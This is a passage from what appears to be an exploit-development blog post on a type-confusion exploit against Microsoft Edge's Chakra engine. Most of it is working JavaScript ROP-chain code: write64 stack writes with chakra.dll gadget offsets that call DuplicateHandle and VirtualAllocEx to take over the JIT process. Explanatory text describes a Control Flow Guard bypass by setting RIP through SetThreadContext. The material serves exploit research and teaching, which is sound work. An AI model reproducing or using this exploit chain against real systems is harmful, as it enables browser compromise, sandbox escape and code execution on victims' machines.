<p>For our last parameter, <code class="language-plaintext highlighter-rouge">lpContext</code>, we simply just need to pass in the pointer returned earlier from <code class="language-plaintext highlighter-rouge">VirtualAlloc</code> (which we stored in the <code class="language-plaintext highlighter-rouge">.data</code> section of <code class="language-plaintext highlighter-rouge">kernelbase.dll</code>). Again, we use the same <code class="language-plaintext highlighter-rouge">mov rdx, [rdx+0x8]</code> gadget we have seen in this blog post. So instead of directly popping the address which points to our <code class="language-plaintext highlighter-rouge">VirtualAlloc</code> allocation, we pass in the address - <code class="language-plaintext highlighter-rouge">0x8</code> so that when the dereference happens, the <code class="language-plaintext highlighter-rouge">+0x8</code> and the <code class="language-plaintext highlighter-rouge">-0x8</code> offset each other. This is done with the following ROP gadgets:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// LPCONTEXT lpContext</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a108</span><span class="o">-</span><span class="mh">0x8</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where our VirtualAlloc allocation is (our CONTEXT structure)</span>
<span class="nx">next</span><span class="p">();</span>                                                                      
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x255fa0</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// mov rdx, qword [rdx+0x08] ; mov rax, rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
</code></pre></div></div>

<p>Our call, after the above gadgets, is now ready to go as such:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">VirtualAlloc_buffer</span><span class="p">.</span><span class="n">ContextFlags</span> <span class="o">=</span> <span class="n">CONTEXT_ALL</span>		<span class="c1">// CONTEXT_ALL = 0x10001f</span>

<span class="n">GetThreadContext</span><span class="p">(</span>
	<span class="n">threadHandle</span><span class="p">,</span>					<span class="c1">// A handle to the thread we want to retrieve a CONTEXT structure for (our thread we created via CreateRemoteThread)</span>
	<span class="n">addressof</span><span class="p">(</span><span class="n">VirtualAlloc_buffer</span><span class="p">)</span>			<span class="c1">// The buffer to receive the CONTEXT structure</span>
<span class="p">);</span>
</code></pre></div></div>

<p><img src="/images/3typeconfusion165.png" alt="" /></p>

<p>After executing the call with <code class="language-plaintext highlighter-rouge">pt</code> we can see we successfully leaked the stack of the remote thread!</p>

<p><img src="/images/3typeconfusion166.png" alt="" /></p>

<p>However, if we take a look at the RIP member, which <em>should</em> be a pointer to our <code class="language-plaintext highlighter-rouge">ret</code> gadget (theoretically), we can see it is not.</p>

<p><img src="/images/3typeconfusion167.png" alt="" /></p>

<p>Instead, it is a call to <code class="language-plaintext highlighter-rouge">RtlUserThreadStart</code>. This makes total sense, as our thread was created in a <em>suspended</em> state - and wasn’t actually executed yet. So, the entry point of this thread is still on the start function. If we actually debug the JIT process and manually resume this thread (using Process Hacker, for instance), we can see execution actually fails (sorry for the WinDbg classic screenshots):</p>

<p><img src="/images/3typeconfusion168.png" alt="" /></p>

<p><img src="/images/3typeconfusion169.png" alt="" /></p>

<p>Remember earlier when I talked about the nuances of setting the entry point directly with our call to <code class="language-plaintext highlighter-rouge">CreateRemoteThread</code>? This is Control Flow Guard kicking in and exposing this nuance. When we set the routine for <code class="language-plaintext highlighter-rouge">CreateRemoteThread</code> to execute, we actually did so with a <code class="language-plaintext highlighter-rouge">ret</code> ROP gadget. As we know, most functions <em>end</em> with a <code class="language-plaintext highlighter-rouge">ret</code> statement - so this means we told our program we wanted to call into the <em>end</em> of a function. Control Flow Guard, when performing a <code class="language-plaintext highlighter-rouge">call</code> will check to see if the <code class="language-plaintext highlighter-rouge">call</code> target is a valid function. The way this manifests is through a bitmap of all known “valid call targets”. CFG will check to see if you are calling into know targets at <code class="language-plaintext highlighter-rouge">0x10</code> byte boundaries - as functions should be aligned in this manner. Since we called into a function towards the end, we obviously didn’t call in a <code class="language-plaintext highlighter-rouge">0x10</code> byte alignment and, thus, CFG will kill the process as it has deemed to have detected an invalid function (and rightly so, we were maliciously trying to call into the middle of a function). The way we can get around this, is to use a call to <code class="language-plaintext highlighter-rouge">SetThreadContext</code> to manually update RIP to <em>directly</em> execute our ROP gadget after resuming, instead of asking <code class="language-plaintext highlighter-rouge">CreateRemoteThread</code> to perform a <code class="language-plaintext highlighter-rouge">call</code> instruction to it (which CFG will check). This will require a few extra steps, but we are nearing the end now.</p>

<h2 id="manipulating-rip-and-preserving-rsp">Manipulating RIP and Preserving RSP</h2>

<p>The next thing we are going to do is to preserve the location of RIP and RSP from our captured thread context. We will first start by locating RSP, which is at an offset of <code class="language-plaintext highlighter-rouge">0x98</code> within a <code class="language-plaintext highlighter-rouge">CONTEXT</code> structure. We will persistently store this in the <code class="language-plaintext highlighter-rouge">.data</code> section of <code class="language-plaintext highlighter-rouge">kernelbase.dll</code>.</p>

<p><img src="/images/3typeconfusion170.png" alt="" /></p>

<p>We can use the following ROP snippet (including previous chains) to store <code class="language-plaintext highlighter-rouge">CONTEXT.Rsp</code> and to update <code class="language-plaintext highlighter-rouge">CONTEXT.Rip</code> directly. Remember, when we <em>directly</em> act on RIP instead of asking the thread to perform a <code class="language-plaintext highlighter-rouge">call</code> on our gadget (which CFG checks) we can “bypass the CFG check” and, thus, just directly return back to the stack.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// alert() for debugging</span>
<span class="nx">alert</span><span class="p">(</span><span class="dl">"</span><span class="s2">DEBUG</span><span class="dl">"</span><span class="p">);</span>

<span class="c1">// Store the value of the handle to the JIT server by way of chakra!ScriptEngine::SetJITConnectionInfo (chakra!JITManager+s_jitManager+0x8)</span>
<span class="nx">jitHandle</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74d838</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>

<span class="c1">// Helper function to be called after each stack write to increment offset to be written to</span>
<span class="kd">function</span> <span class="nx">next</span><span class="p">()</span>
<span class="p">{</span>
    <span class="nx">counter</span><span class="o">+=</span><span class="mh">0x8</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// Begin ROP chain</span>
<span class="c1">// Since __fastcall requires parameters 5 and so on to be at RSP+0x20, we actually have to put them at RSP+0x28</span>
<span class="c1">// This is because we don't push a return address on the stack, as we don't "call" our APIs, we jump into them</span>
<span class="c1">// Because of this we have to compensate by starting them at RSP+0x28 since we can't count on a return address to push them there for us</span>

<span class="c1">// DuplicateHandle() ROP chain</span>
<span class="c1">// Stage 1 -&gt; Abuse PROCESS_DUP_HANDLE handle to JIT server by performing DuplicateHandle() to get a handle to the JIT server with full permissions</span>
<span class="c1">// ACG is disabled in the JIT process</span>
<span class="c1">// https://bugs.chromium.org/p/project-zero/issues/detail?id=1299</span>

<span class="c1">// Writing our ROP chain to the stack, stack+0x8, stack+0x10, etc. after return address overwrite to hijack control-flow transfer</span>

<span class="c1">// HANDLE hSourceProcessHandle (RCX) _should_ come first. However, we are configuring this parameter towards the end, as we need RCX for the lpTargetHandle parameter</span>

<span class="c1">// HANDLE hSourceHandle (RDX)</span>
<span class="c1">// (HANDLE)-1 value of current process</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0xffffffff</span><span class="p">,</span> <span class="mh">0xffffffff</span><span class="p">);</span>             <span class="c1">// Pseudo-handle to current process</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// HANDLE hTargetProcessHandle (R8)</span>
<span class="c1">// (HANDLE)-1 value of current process</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x24628b</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x18024628b: mov r8, rdx ; add rsp, 0x48 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// LPHANDLE lpTargetHandle (R9)</span>
<span class="c1">// This needs to be a writable address where the full JIT handle will be stored</span>
<span class="c1">// Using .data section of chakra.dll in a part where there is no data</span>
<span class="cm">/*
0:053&gt; dqs chakra+0x72E000+0x20010
00007ffc`052ae010  00000000`00000000
00007ffc`052ae018  00000000`00000000
*/</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72e128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll with a non-zero value to bypass cmp r8d, [rax] future gadget</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74e010</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll which will hold full perms handle to JIT server;</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// HANDLE hSourceProcessHandle (RCX)</span>
<span class="c1">// Handle to the JIT process from the content process</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">jitHandle</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="nx">jitHandle</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>         <span class="c1">// PROCESS_DUP_HANDLE HANDLE to JIT server</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// Call KERNELBASE!DuplicateHandle</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">duplicateHandle</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="nx">duplicateHandle</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span> <span class="c1">// KERNELBASE!DuplicateHandle (Recall this was our original leaked pointer var for kernelbase.dll)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!DuplicateHandle)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// "return address" for KERNELBASE!DuplicateHandle - 0x180243949: add rsp, 0x38 ; ret</span>
<span class="nx">next</span><span class="p">();</span> 
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// DWORD dwDesiredAccess (RSP+0x28)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// BOOL bInheritHandle (RSP+0x30)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000002</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// DWORD dwOptions (RSP+0x38)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// VirtuaAllocEx() ROP chain</span>
<span class="c1">// Stage 2 -&gt; Allocate memory in the Edge JIT process (we have a full handle there now)</span>

<span class="c1">// DWORD flAllocationType (R9)</span>
<span class="c1">// MEM_RESERVE (0x00002000) | MEM_COMMIT (0x00001000)</span>
<span class="cm">/*
0:031&gt; ? 0x00002000 | 0x00001000 
Evaluate expression: 12288 = 00000000`00003000
*/</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00003000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// MEM_RESERVE | MEM_COMMIT</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
